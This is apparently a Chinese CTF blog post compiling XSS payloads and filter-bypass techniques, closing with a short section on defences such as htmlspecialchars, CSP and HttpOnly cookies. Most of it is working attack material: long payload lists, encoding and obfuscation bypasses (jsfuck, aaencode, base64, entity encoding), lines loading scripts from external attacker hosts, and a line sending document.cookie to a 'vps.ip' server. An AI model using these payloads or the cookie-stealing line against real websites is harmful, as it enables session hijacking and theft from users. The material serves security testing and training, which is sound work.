XSS的payload和绕过总结

ctf XSS

Word count: 4.6kReading time: 26 min

 2021/02/27   Share

XSS 简介

XSS（Cross Site Scripting，跨站脚本攻击）是一类特殊的 Web 客户端脚本注入攻击手段，通常指攻击者通过“HTML 注入”篡改了网页，插入恶意的脚本，从而在用户浏览网页时控制浏览器的一种攻击。
当应用程序发送给浏览器的页面中包含用户提供的数据，而这些数据没有经过适当的转义，或者在这些内容被显示在页面之前没有验证它们都是安全的，使得输入被视为浏览器中的动态内容，就会导致存在跨站脚本漏洞。
按照“数据是否保存在服务器”，XSS 被分为：反射型 XSS 和存储型 XSS。

XSS fuzz

owasp备忘录

portswigger

github fuzz

<img src=1 onerror=alert(1);>
</script><script>alert(1);</script>
</script><script>alert(document.cookie);</script>
><body onload=alert(1)>
<ScRiPt>alert(1);</ScRiPt>
eval(%26%23%27 alert(1)%26%23%27);yoid
/><script>alert(1);</script>
alert(1)
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
veris-->group<svg/onload=alert(/XSS/)//
#"><img src=M onerror=alert('XSS');>
element[attribute='<img src=x onerror=alert('XSS');>
[<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ]
%22;alert%28%27RVRSH3LL_XSS%29//
javascript:alert%281%29;
<w contenteditable id=x onfocus=alert()>
alert;pg("XSS")
<svg/onload=%26%23097lert%26lpar;1337)>
<script>for((i)in(self))eval(i)(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt>
<sCR<script>iPt>alert(1)</SCr</script>IPt>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>

思路：闭合html的标签，使得浏览器弹窗。

常用html标签

<a>
<img>
<svg>
<iframe>
<input>
<script>

可用事件

onload
onerror
onclick
onunload 
onchange 
onsubmit 
onreset 
onselect 
onblur 
onfocus 
onabort 
onkeydown 
onkeypress 
onkeyup 
ondbclick 
onmouseover 
onmousemove 
onmouseout 
onmouseup 
onforminput 
onformchange 
ondrag 
ondrop

XSS测试

基本测试流程

首先弹窗

单独标签

<script>alert(1)</script>
<script>prompt(1)</script>
<svg onload=alert(1)>
<img src=x onerror="alert(1)">
<img src=x onclick="prompt(1)">
<a href="javascript:alert(1)" >click me</a>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
<input onfocus="alert(1)">

作为属性输入

1 2	"><svg/onload=alert(1)// " onclick="confirm(1)" "

尝试引入外部javascript

“><script src=http://www.xxx.com/ec.js></script>
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//
onfocus='a=document.createElement("script");a.src=http://x.x.x.x";body.appendChile(a);'
onfocus='a=document.createElement("sc"+"ript");a.src=http://x.x.x.x";body.appendChile(a);'
<link%20rel=import%20href="2.js">
发送cookie到vps
<script>window.location.href="http://vps.ip/?cookie="+document.cookie;</script>

javascript支持src/href/action/xlink:href/autofocus/content/data

XSS绕过

引号绕过

单引号'被禁用双引号",来回替换
用斜杠/替换引号

1	alert(/xss/)

单双引号都被禁，不用引号
1
<input onfocus=alert(1)>
反引号

1	<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

关键词绕过

替换关键字
1
2
3
alert
confirm
prompt

分割关键词

此处特殊字符用url编码代替

#空白字符形式
alert%20(/xss/)
#回车换行
alert%0a(/xss/)
alert%0d(/xss/)
#缩进
alert%09(/xss/)
#注释
alert/*abcd*/(/xss/)
#注释换行
alert//abcd%0a(/xss/)
alert//abcd%0d(/xss/)
#括号分割
(alert)(/xss/)
((alert))(/xss/)

window和top调用

window.alert(0)
window['al'+'ert'](0)
top['al'+'ert'](0)
top.alert(0)

#用法
<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>

动态调用

<input/onfocus=_=alert,_(123)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>

异常处理

1 2	<svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> <img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">

eval执行js
1
<svg/onload=eval('ale'+'rt(1)')>

关键字拼接

<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>

eval结合编码

1
2
3

<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

大小写绕过
1
<sCriPt>alert(1);</scRiPt>
双写绕过

针对服务器删除敏感字符的过滤
1
<sCrsCriPtiPt>alert(1);</scRsCriPtiPt>

关键词绕过之编码绕过

html编码绕过

1	<iframe src=javascript:alert(1)>

十进制html编码

1	<iframe src=javascript:alert(1)>

十六进制html编码

1	<iframe src=javascript:alert(1)>

不带分号形式

1	<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>

填充0的形式

1	<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>

部分关键字绕过

<iframe src=javas&#x09;cript:alert(1)></iframe> //Tab
<iframe src=javas&#x0A;cript:alert(1)></iframe> //回车
<iframe src=javas&#x0D;cript:alert(1)></iframe> //换行
<iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号
<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码，IE6、7下不支持
<a href=javas&#x09;cript:alert(1)>

url编码

1 2	<a href="{here}">xx</a> <iframe src="{here}">

在src和href中可以进行URL编码，但是javascript:不能进行URL编码

1 2	<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

二次URL编码

1	<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>

结合16进制html编码

1	<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

Unicode编码

普通编码

1 2	<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>

八进制及十六进制

<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>eval("\141\154\145\162\164\050\061\051")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

Base64编码绕过

1 2	<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

利用atob函数

1
2
3

<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>

String.fromCharCode

这个方法用于将unicode转换为字符串

1	<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>

字符串转ascii脚本

def to_ascii(text):
    ascii_values = [ord(character) for character in text]
    return ascii_values
text = "alert(1)"
print(str(to_ascii(text)))

unicode+url+html

Unicode编码

1	<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>

URL编码

1	<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>

HTML编码

1	<a href=javascript:alert(1)>Click</a>

编码顺序:Unicode=>URL->HTML

# Unicode
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
# Unicode+URL
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
# Unicode+URL+HTML
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a>
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>

jsfuck

<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>

aaencode

<script>ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+/*´∇｀*/(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟｰﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((o^_^o) +(o^_^o))+((o^_^o) - (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((o^_^o) +(o^_^o))+(ﾟｰﾟ)+(ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+(c^_^o)+(ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');</script>

空格绕过

注释

  /**/
  /=><svg/onload=alert(1)>
  
  <script>/*
*/alert/*
*/(document/*
*/.cookie)/*
*/</script>

换行绕过
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%09
CSP绕过
CSP绕过

XSS防护

PHP提供了两个函数htmlentities()和htmlspecialchars() ，把一些预定义的字符转换为 HTML 实体。
防御代码示例:
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<?php
echo htmlspecialchars($_REQUEST[ 'id' ]);
?>

其它的通用的补充性防御手段

1.在输出html时，加上Content Security Policy的Http Header
（作用：可以防止页面被XSS攻击时，嵌入第三方的脚本文件等）
（缺陷：IE或低版本的浏览器可能不支持）
2.在设置Cookie时，加上HttpOnly参数
（作用：可以防止页面被XSS攻击时，Cookie信息被盗取，可兼容至IE6）
（缺陷：网站本身的JS代码也无法操作Cookie，而且作用有限，只能保证Cookie的安全）
3.在开发API时，检验请求的Referer参数
（作用：可以在一定程度上防止CSRF攻击）
（缺陷：IE或低版本的浏览器中，Referer参数可以被伪造）